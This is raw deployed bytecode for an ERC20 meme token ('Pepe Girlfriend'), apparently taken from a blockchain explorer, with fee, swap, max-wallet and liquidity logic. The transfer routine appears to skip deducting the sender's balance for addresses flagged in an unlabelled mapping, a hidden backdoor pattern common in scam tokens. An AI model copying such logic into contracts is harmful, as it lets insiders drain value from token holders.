26f000000000000000000000000000000000000000000000000000000602082015250565b600061368d602583612f28565b915061369882613631565b604082019050919050565b600060208201905081810360008301526136bc81613680565b9050919050565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b600061371f602483612f28565b915061372a826136c3565b604082019050919050565b6000602082019050818103600083015261374e81613712565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006137b1602683612f28565b91506137bc82613755565b604082019050919050565b600060208201905081810360008301526137e0816137a4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613843602483612f28565b915061384e826137e7565b604082019050919050565b6000602082019050818103600083015261387281613836565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006138d5602283612f28565b91506138e082613879565b604082019050919050565b60006020820190508181036000830152613904816138c8565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613967603583612f28565b91506139728261390b565b604082019050919050565b600060208201905081810360008301526139968161395a565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b60006139d3601383612f28565b91506139de8261399d565b602082019050919050565b60006020820190508181036000830152613a02816139c6565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613a65603683612f28565b9150613a7082613a09565b604082019050919050565b60006020820190508181036000830152613a9481613a58565b9050919050565b6000613aa682613032565b9150613ab183613032565b9250828203905081811115613ac957613ac8613408565b5b92915050565b6000606082019050613ae46000830186613185565b613af16020830185613185565b613afe6040830184613185565b949350505050565b600081905092915050565b50565b6000613b21600083613b06565b9150613b2c82613b11565b600082019050919050565b6000613b4282613b14565b9150819050919050565b600081519050613b5b8161303c565b92915050565b600060208284031215613b7757613b76612fcf565b5b6000613b8584828501613b4c565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613bea602583612f28565b9150613bf582613b8e565b604082019050919050565b60006020820190508181036000830152613c1981613bdd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613c7c602383612f28565b9150613c8782613c20565b604082019050919050565b60006020820190508181036000830152613cab81613c6f565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613d0e602683612f28565b9150613d1982613cb2565b604082019050919050565b60006020820190508181036000830152613d3d81613d01565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613db181613006565b92915050565b600060208284031215613dcd57613dcc612fcf565b5b6000613ddb84828501613da2565b91505092915050565b6000819050919050565b6000613e09613e04613dff84613de4565b61310b565b613032565b9050919050565b613e1981613dee565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613e5481612ff4565b82525050565b6000613e668383613e4b565b60208301905092915050565b6000602082019050919050565b6000613e8a82613e1f565b613e948185613e2a565b9350613e9f83613e3b565b8060005b83811015613ed0578151613eb78882613e5a565b9750613ec283613e72565b925050600181019050613ea3565b5085935050505092915050565b600060a082019050613ef26000830188613185565b613eff6020830187613e10565b8181036040830152613f118186613e7f565b9050613f20606083018561322f565b613f2d6080830184613185565b9695505050505050565b600060c082019050613f4c600083018961322f565b613f596020830188613185565b613f666040830187613e10565b613f736060830186613e10565b613f80608083018561322f565b613f8d60a0830184613185565b979650505050505050565b600080600060608486031215613fb157613fb0612fcf565b5b6000613fbf86828701613b4c565b9350506020613fd086828701613b4c565b9250506040613fe186828701613b4c565b915050925092509256fea2646970667358221220086a08f77b59705b344dd3d6a5c1bf81db4c20e756b432214566a3e10acc7fcd64736f6c63430008130033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006f6f7d3f37f52f2c048ca527bdd0be21bed23893000000000000000000000000000000000000000000000000000000000000000f50657065204769726c667269656e64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000075065706520474600000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061026b5760003560e01c806375f0a87411610144578063b62496f5116100b6578063e2f456051161007a578063e2f4560514610973578063e5c96aa41461099e578063f11a24d3146109c7578063f2fde38b146109f2578063f637434214610a1b578063f8b45b0514610a4657610272565b8063b62496f51461087a578063c18bc195146108b7578063c8c8ebe4146108e0578063d85ba0631461090b578063dd62ed3e1461093657610272565b80639d1f645a116101085780639d1f645a146107565780639ec22c0e1461077f578063a26bfdef146107aa578063a457c2d7146107d5578063a4c82a0014610812578063a9059cbb1461083d57610272565b806375f0a8741461067f5780637bce5a04146106aa5780638da5cb5b146106d5578063921369131461070057806395d89b411461072b57610272565b806327c8f835116101dd57806349bd5a5e116101a157806349bd5a5e1461056d5780634a62bb65146105985780634fbee193146105c35780636a486a8e1461060057806370a082311461062b578063715018a61461066857610272565b806327c8f835146104845780632c3e486c146104af5780632e82f1a0146104da578063313ce56714610505578063395093511461053057610272565b8063184c16c51161022f578063184c16c514610372578063199ffc721461039d5780631a8145bb146103c85780631f3fed8f146103f3578063203e727e1461041e57806323b872dd1461044757610272565b806306fdde0314610277578063095ea7b3146102a257806310d5de53146102df5780631694505e1461031c57806318160ddd1461034757610272565b3661027257005b600080fd5b34801561028357600080fd5b5061028c610a71565b6040516102999190612fad565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190613068565b610b03565b6040516102d691906130c3565b60405180910390f35b3480156102eb57600080fd5b50610306600480360381019061030191906130de565b610b21565b60405161031391906130c3565b60405180910390f35b34801561032857600080fd5b50610331610b41565b60405161033e919061316a565b60405180910390f35b34801561035357600080fd5b5061035c610b65565b6040516103699190613194565b60405180910390f35b34801561037e57600080fd5b50610387610b6f565b6040516103949190613194565b60405180910390f35b3480156103a957600080fd5b506103b2610b75565b6040516103bf9190613194565b60405180910390f35b3480156103d457600080fd5b506103dd610b7b565b6040516103ea9190613194565b60405180910390f35b3480156103ff57600080fd5b50610408610b81565b6040516104159190613194565b60405180910390f35b34801561042a57600080fd5b50610445600480360381019061044091906131af565b610b87565b005b34801561045357600080fd5b5061046e600480360381019061046991906131dc565b610cb1565b60405161047b91906130c3565b60405180910390f35b34801561049057600080fd5b50610499610da9565b6040516104a6919061323e565b60405180910390f35b3480156104bb57600080fd5b506104c4610daf565b6040516104d19190613194565b60405180910390f35b3480156104e657600080fd5b506104ef610db5565b6040516104fc91906130c3565b60405180910390f35b34801561051157600080fd5b5061051a610dc8565b6040516105279190613275565b60405180910390f35b34801561053c57600080fd5b5061055760048036038101906105529190613068565b610dd1565b60405161056491906130c3565b60405180910390f35b34801561057957600080fd5b50610582610e7d565b60405161058f919061323e565b60405180910390f35b3480156105a457600080fd5b506105ad610ea1565b6040516105ba91906130c3565b60405180910390f35b3480156105cf57600080fd5b506105ea60048036038101906105e591906130de565b610eb4565b6040516105f791906130c3565b60405180910390f35b34801561060c57600080fd5b50610615610f0a565b6040516106229190613194565b60405180910390f35b34801561063757600080fd5b50610652600480360381019061064d91906130de565b610f10565b60405161065f9190613194565b60405180910390f35b34801561067457600080fd5b5061067d610f58565b005b34801561068b57600080fd5b506106946110b0565b6040516106a1919061323e565b60405180910390f35b3480156106b657600080fd5b506106bf6110d6565b6040516106cc9190613194565b60405180910390f35b3480156106e157600080fd5b506106ea6110dc565b6040516106f7919061323e565b60405180910390f35b34801561070c57600080fd5b50610715611106565b6040516107229190613194565b60405180910390f35b34801561073757600080fd5b5061074061110c565b60405161074d9190612fad565b60405180910390f35b34801561076257600080fd5b5061077d600480360381019061077891906132bc565b61119e565b005b34801561078b57600080fd5b50610794611290565b6040516107a19190613194565b60405180910390f35b3480156107b657600080fd5b506107bf611296565b6040516107cc91906130c3565b60405180910390f35b3480156107e157600080fd5b506107fc60048036038101906107f79190613068565b611351565b60405161080991906130c3565b60405180910390f35b34801561081e57600080fd5b5061082761143c565b6040516108349190613194565b60405180910390f35b34801561084957600080fd5b50610864600480360381019061085f9190613068565b611442565b60405161087191906130c3565b60405180910390f35b34801561088657600080fd5b506108a1600480360381019061089c91906130de565b611460565b6040516108ae91906130c3565b60405180910390f35b3480156108c357600080fd5b506108de60048036038101906108d991906131af565b611480565b005b3480156108ec57600080fd5b506108f5611584565b6040516109029190613194565b60405180910390f35b34801561091757600080fd5b5061092061158a565b60405161092d9190613194565b60405180910390f35b34801561094257600080fd5b5061095d600480360381019061095891906132fc565b611590565b60405161096a9190613194565b60405180910390f35b34801561097f57600080fd5b50610988611617565b6040516109959190613194565b60405180910390f35b3480156109aa57600080fd5b506109c560048036038101906109c091906132bc565b61161d565b005b3480156109d357600080fd5b506109dc61170f565b6040516109e99190613194565b60405180910390f35b3480156109fe57600080fd5b50610a196004803603810190610a1491906130de565b611715565b005b348015610a2757600080fd5b50610a306118db565b604051610a3d9190613194565b60405180910390f35b348015610a5257600080fd5b50610a5b6118e1565b604051610a689190613194565b60405180910390f35b606060038054610a809061336b565b80601f0160208091040260200160405190810160405280929190818152602001828054610aac9061336b565b8015610af95780601f10610ace57610100808354040283529160200191610af9565b820191906000526020600020905b815481529060010190602001808311610adc57829003601f168201915b5050505050905090565b6000610b17610b106118e7565b84846118ef565b6001905092915050565b601a6020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b600e5481565b600b5481565b60175481565b60165481565b610b8f6118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c15906133e8565b60405180910390fd5b670de0b6b3a76400006103e86001610c34610b65565b610c3e9190613437565b610c4891906134a8565b610c5291906134a8565b811015610c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8b9061354b565b60405180910390fd5b670de0b6b3a764000081610ca89190613437565b60088190555050565b6000610cbe848484611ab8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d096118e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d80906135dd565b60405180910390fd5b610d9d85610d956118e7565b8584036118ef565b60019150509392505050565b61dead81565b600c5481565b600a60009054906101000a900460ff1681565b60006009905090565b6000610e73610dde6118e7565b848460016000610dec6118e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e6e91906135fd565b6118ef565b6001905092915050565b7f000000000000000000000000b4ff87f1101a682cf959377ab66f7993db2713b181565b601860009054906101000a900460ff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60135481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f606118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe6906133e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60145481565b60606004805461111b9061336b565b80601f01602080910402602001604051908101604052809291908181526020018280546111479061336b565b80156111945780601f1061116957610100808354040283529160200191611194565b820191906000526020600020905b81548152906001019060200180831161117757829003601f168201915b5050505050905090565b6111a66118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c906133e8565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b60006112a06118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611326906133e8565b60405180910390fd5b6000601860006101000a81548160ff0219169083151502179055506001905090565b600080600160006113606118e7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561141d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611414906136a3565b60405180910390fd5b6114316114286118e7565b858584036118ef565b600191505092915050565b600d5481565b600061145661144f6118e7565b8484611ab8565b6001905092915050565b601b6020528060005260406000206000915054906101000a900460ff1681565b6114886118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611517576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150e906133e8565b60405180910390fd5b600581101561155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290613735565b60405180910390fd5b6103e8611566610b65565b826115719190613437565b61157b91906134a8565b60098190555050565b60085481565b60105481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60075481565b6116256118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ab906133e8565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60125481565b61171d6118e7565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a3906133e8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361181b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611812906137c7565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60155481565b60095481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361195e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195590613859565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906138eb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611aab9190613194565b60405180910390a3505050565b601860009054906101000a900460ff1615611ebe57611ad56110dc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b435750611b136110dc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b7c5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bb6575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611bcf5750600560149054906101000a900460ff16155b15611ebd57601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611c775750601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d1e57600854811115611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb89061397d565b60405180910390fd5b600954611ccd83610f10565b82611cd891906135fd565b1115611d19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d10906139e9565b60405180910390fd5b611ebc565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611dc15750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e1057600854811115611e0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e0290613a7b565b60405180910390fd5b611ebb565b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611eba57600954611e6d83610f10565b82611e7891906135fd565b1115611eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb0906139e9565b60405180910390fd5b5b5b5b5b5b6000611ec930610f10565b905060006007548210159050808015611eef5750600560149054906101000a900460ff16155b8015611f455750601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f9b5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ff15750601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612035576001600560146101000a81548160ff021916908315150217905550612019612566565b6000600560146101000a81548160ff0219169083151502179055505b600560149054906101000a900460ff1615801561209b5750601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156120b35750600a60009054906101000a900460ff165b80156120ce5750600c54600d546120ca91906135fd565b4210155b80156121245750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561213357612131612773565b505b6000600560149054906101000a900460ff16159050601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121e95750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121f357600090505b6000811561240657601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561225657506000601354115b156122f05761228360646122756013548861293990919063ffffffff16565b61294f90919063ffffffff16565b9050601354601554826122969190613437565b6122a091906134a8565b601760008282546122b191906135fd565b92505081905550601354601454826122c99190613437565b6122d391906134a8565b601660008282546122e491906135fd565b925050819055506123e2565b601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561234b57506000601054115b156123e157612378606461236a6010548861293990919063ffffffff16565b61294f90919063ffffffff16565b90506010546012548261238b9190613437565b61239591906134a8565b601760008282546123a691906135fd565b92505081905550601054601154826123be9190613437565b6123c891906134a8565b601660008282546123d991906135fd565b925050819055505b5b60008111156123f7576123f6873083612965565b5b80856124039190613a9b565b94505b6000601c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054036124a357846000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461249b9190613a9b565b925050819055505b846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546124f191906135fd565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516125559190613194565b60405180910390a350505050505050565b600061257130610f10565b9050600060165460175461258591906135fd565b90506000808314806125975750600082145b156125a457505050612771565b60146007546125b39190613437565b8311156125cc5760146007546125c99190613437565b92505b6000600283601754866125df9190613437565b6125e991906134a8565b6125f391906134a8565b9050600061260a8286612be490919063ffffffff16565b9050600047905061261a82612bfa565b600061262f8247612be490919063ffffffff16565b9050600061265a8761264c6016548561293990919063ffffffff16565b61294f90919063ffffffff16565b90506000818361266a9190613a9b565b90506000601781905550600060168190555060008611801561268c5750600081115b156126d95761269b8682612e37565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185826017546040516126d093929190613acf565b60405180910390a15b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161271f90613b37565b60006040518083038185875af1925050503d806000811461275c576040519150601f19603f3d011682016040523d82523d6000602084013e612761565b606091505b5050809750505050505050505050505b565b600042600d8190555060003073ffffffffffffffffffffffffffffffffffffffff166370a082317f000000000000000000000000b4ff87f1101a682cf959377ab66f7993db2713b16040518263ffffffff1660e01b81526004016127d7919061323e565b602060405180830381865afa1580156127f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128189190613b61565b90506000612845612710612837600b548561293990919063ffffffff16565b61294f90919063ffffffff16565b9050600081111561287e5761287d7f000000000000000000000000b4ff87f1101a682cf959377ab66f7993db2713b161dead83612965565b5b60007f000000000000000000000000b4ff87f1101a682cf959377ab66f7993db2713b190508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156128eb57600080fd5b505af11580156128ff573d6000803e3d6000fd5b505050507f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d60405160405180910390a16001935050505090565b600081836129479190613437565b905092915050565b6000818361295d91906134a8565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036129d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129cb90613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3a90613c92565b60405180910390fd5b612a4e838383612f13565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb90613d24565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b6791906135fd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612bcb9190613194565b60405180910390a3612bde848484612f18565b50505050565b60008183612bf29190613a9b565b905092915050565b6000600267ffffffffffffffff811115612c1757612c16613d44565b5b604051908082528060200260200182016040528015612c455781602001602082028036833780820191505090505b5090503081600081518110612c5d57612c5c613d73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612d02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d269190613db7565b81600181518110612d3a57612d39613d73565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612d9f307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846118ef565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612e01959493929190613edd565b600060405180830381600087803b158015612e1b57600080fd5b505af1158015612e2f573d6000803e3d6000fd5b505050505050565b612e62307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846118ef565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612ec996959493929190613f37565b60606040518083038185885af1158015612ee7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612f0c9190613f98565b5050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612f57578082015181840152602081019050612f3c565b60008484015250505050565b6000601f19601f8301169050919050565b6000612f7f82612f1d565b612f898185612f28565b9350612f99818560208601612f39565b612fa281612f63565b840191505092915050565b60006020820190508181036000830152612fc78184612f74565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612fff82612fd4565b9050919050565b61300f81612ff4565b811461301a57600080fd5b50565b60008135905061302c81613006565b92915050565b6000819050919050565b61304581613032565b811461305057600080fd5b50565b6000813590506130628161303c565b92915050565b6000806040838503121561307f5761307e612fcf565b5b600061308d8582860161301d565b925050602061309e85828601613053565b9150509250929050565b60008115159050919050565b6130bd816130a8565b82525050565b60006020820190506130d860008301846130b4565b92915050565b6000602082840312156130f4576130f3612fcf565b5b60006131028482850161301d565b91505092915050565b6000819050919050565b600061313061312b61312684612fd4565b61310b565b612fd4565b9050919050565b600061314282613115565b9050919050565b600061315482613137565b9050919050565b61316481613149565b82525050565b600060208201905061317f600083018461315b565b92915050565b61318e81613032565b82525050565b60006020820190506131a96000830184613185565b92915050565b6000602082840312156131c5576131c4612fcf565b5b60006131d384828501613053565b91505092915050565b6000806000606084860312156131f5576131f4612fcf565b5b60006132038682870161301d565b93505060206132148682870161301d565b925050604061322586828701613053565b9150509250925092565b61323881612ff4565b82525050565b6000602082019050613253600083018461322f565b92915050565b600060ff82169050919050565b61326f81613259565b82525050565b600060208201905061328a6000830184613266565b92915050565b613299816130a8565b81146132a457600080fd5b50565b6000813590506132b681613290565b92915050565b600080604083850312156132d3576132d2612fcf565b5b60006132e18582860161301d565b92505060206132f2858286016132a7565b9150509250929050565b6000806040838503121561331357613312612fcf565b5b60006133218582860161301d565b92505060206133328582860161301d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061338357607f821691505b6020821081036133965761339561333c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133d2602083612f28565b91506133dd8261339c565b602082019050919050565b60006020820190508181036000830152613401816133c5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061344282613032565b915061344d83613032565b925082820261345b81613032565b9150828204841483151761347257613471613408565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134b382613032565b91506134be83613032565b9250826134ce576134cd613479565b5b828204905092915050565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b6000613535602f83612f28565b9150613540826134d9565b604082019050919050565b6000602082019050818103600083015261356481613528565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006135c7602883612f28565b91506135d28261356b565b604082019050919050565b600060208201905081810360008301526135f6816135ba565b9050919050565b600061360882613032565b915061361383613032565b925082820190508082111561362b5761362a613408565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061368d6025